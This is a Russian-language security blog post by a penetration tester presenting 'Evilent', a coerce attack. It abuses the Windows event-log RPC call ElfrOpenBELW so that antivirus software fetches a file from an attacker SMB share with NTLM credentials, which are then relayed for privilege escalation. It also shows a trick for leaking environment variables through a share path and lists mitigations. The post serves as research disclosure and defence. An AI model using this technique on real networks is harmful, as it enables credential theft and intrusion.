Как стать автором
Обновить
75.32

Атаки на защиту: Evilent или ещё один coerce

Уровень сложностиСредний
Время на прочтение4 мин
Количество просмотров399

Привет! Меня зовут Сергей Буреев (@TCross \ THunter HackTeam), я специалист по пентесту и исследователь в области информационной безопасности.
Пост будет посвящен ещё одной Coerce атаке, про которую я рассказывал в докладе «Атаки на защиту» на конференции CyberWave2025 — если вы были в зале, надеюсь, вам понравилось. Если нет — вот, делюсь докладом тут :)

TL;DR:

  • Берём MS-EVEN протокол (журналы событий через RPC)

  • Используем его ElfrOpenBELW для провоцирования обращения к SMB-шаре атакующего

  • Антивирус (Defender, и не только) лезет туда со своими NTLM-хешами

  • Релей — и привет, привилегии!

Но это ещё не всё. Есть приятный (или не очень) бонус.

Немного о Coerce

Coerce атаки - это тип атак, направленных на принудительную аутентификацию жертвы в системе злоумышленника. В результате чего атакующий получает учетные данные (NetNTLMv1\2, Kerberos AP-REQ), которые в дальнейшем может:

- получить пароль в открытом виде (брутфорс);

- перенаправить в другой сервис для прохождения аутентификации (relay атаки).

Подробнее про coerce и relay атаки можно почитать:

https://habr.com/ru/companies/ussc/articles/688682/

https://habr.com/ru/companies/otus/articles/745942/

https://habr.com/ru/articles/848542/

Идея

Сидел я как-то вечером, ковырялся в своем стенде Active Directory, исследовал RPC-интерфейсы в поисках чего-то нового… И тут мне в голову пришло: а что если совместить давно известную коэрс-атаку через MS-EVEN с тем, как антивирусы ведут себя при обращении к сомнительным файлам? Например, как Windows Defender или другие антивирусы любят запрашивать подозрительные .exe по SMB? Они ж ради проверки хэша или удаления файла вполне себе могут отправить NTLM-аутентификацию.

И оказалось — всё работает.

Слайды из презентации для доклада
Слайды из презентации для доклада

Evilent: злое событие

Я решил назвать атаку Evilent — от слов "evil" и "event", потому что это буквально событие, от которого потом начинаются проблемы.

  • Сценарий атаки довольно прост:

    • Атакующий (с минимальными правами в AD) подключается к RPC-интерфейсу \pipe\eventlog.

    • Через ElfrOpenBELW он указывает путь до файла с полезной нагрузкой, которая спровоцирует антивирус - \\attacker\Share\metra.exe.

    • Хост честно пытается запросить файл. Но запрос идёт не один — а с мутациями имени файла: например, test.exeem䵌䵅P. Байт 䵌䵅P (\xe4\xb5\x8c\xe4\xb5\x85\x50) всегда одинаковый. Остальные — предсказуемо случайные.

      Тут нужно уточнить, что для повышения успеха атаки лучше отправить несколько запросов в rpc функцию что бы сгенерировалось большее количество имен файла и тем самым повышается вероятность того, что сервер обратится к нам с нужным именем файла.

      Слайды из презентации для доклада
      Слайды из презентации для доклада
    • Если на SMB-сервере атакующего лежит файл с подходящим именем, он детектится антивирусом.

    • Антивирус, в свою очередь, лезет за ним — но уже с отправкой NTLM-аутентификации (NetNTLM) от имени машинного аккаунта.

    А дальше — дело техники: релей в ADCS, SMB, LDAP и привет привилегии.

    Слайды из презентации для доклада
    Слайды из презентации для доклада

Проверка гипотезы

Проверял на Windows Server 2016, 2019 и 2022 с последними обновлениями. Всё чинно, благородно, никаких патчей на горизонте. Файл-триггер генерировал через MSFVenom и добавлял к имени "мусорные" байты. Для честности прогнал на стенде с разными антивирусами — работает. И Defender, и парочка коммерческих решений радостно дёргают SMB с NTLM-хешем.

Кто виноват и что делать?

Атака работает только в AD-среде, требует учётной записи с минимальными правами (достаточно доступа к eventlog RPC), и в итоге может привести к эскалации привилегий, если рядом есть уязвимые сервисы для NTLM-релея.

Патча, как вы уже догадались, нет. NT AUTHORITY\LOCAL SERVICE сам по себе хешей не даёт, но как только в игру вступает антивирус — всё меняется.

Сразу отвечаю на главный вопрос: а ты в Microsoft писал?

Да, писал.
Они подтвердили, что в курсе и проблема имеет место быть, и даже выкатили рекомендации по защите (в духе: отключать NTLM, мониторить обращения к RPC-интерфейсам, ограничивать доступ к eventlog), так же отдельно упомянули что в Windows Server 2025 добавили групповую политику которая ограничивает обычным пользователем доступ к журналам событий (но включить её необходимо самим, по дефолту она не применяется).

Формально это не баг, а "expected-but-dangerous behavior" — ну, вы понимаете.

Выводы

  • Старые интерфейсы Windows могут быть удивительно полезны… для атакующего;

  • Даже без эксплуатации багов можно выжать максимум из штатных механизмов, если знать, куда нажать;

  • Не пускайте пользователей к \pipe\eventlog, если они туда не должны;

  • Включайте подписи SMB, LDAP и Channel Binding;

  • Настройте фильтрацию трафика;

  • И конечно следите за актуальными обновлениями безопасности.

Bonus

Оказывается coerce-атаки можно использовать не только для захвата учетных данных, но и для раскрытия переменных окружения пользователя (а там уже могут быть всякие интересности: токены, команды запуска и тд).
Тут всё просто, когда указываем путь до нашей SMB-шары, надо вместо имени папки подставить нужную нам переменную (прим. \\attacker\%username%).

Как то так :) А дальше уже дело техники и фантазии как это может быть полезно пентестерам и что ещё можно из этого получить.

ЗЫ

Для тех кто дочитал до конца прикладываю ссылку на инструменты для Evilent атаки, приветствуются предложения по развитию и улучшению =), с презентацией доклада можно ознакомиться тут (спасибо@Michaelzhm).

Надеюсь данный материал был вам полезен и даст пищу для размышлений и дальнейших исследований.

Теги:
Хабы:
+1
Комментарии1

Публикации

Информация

Сайт
tomhunter.ru
Дата регистрации
Численность
51–100 человек
Местоположение
Россия
Представитель
Том Хантер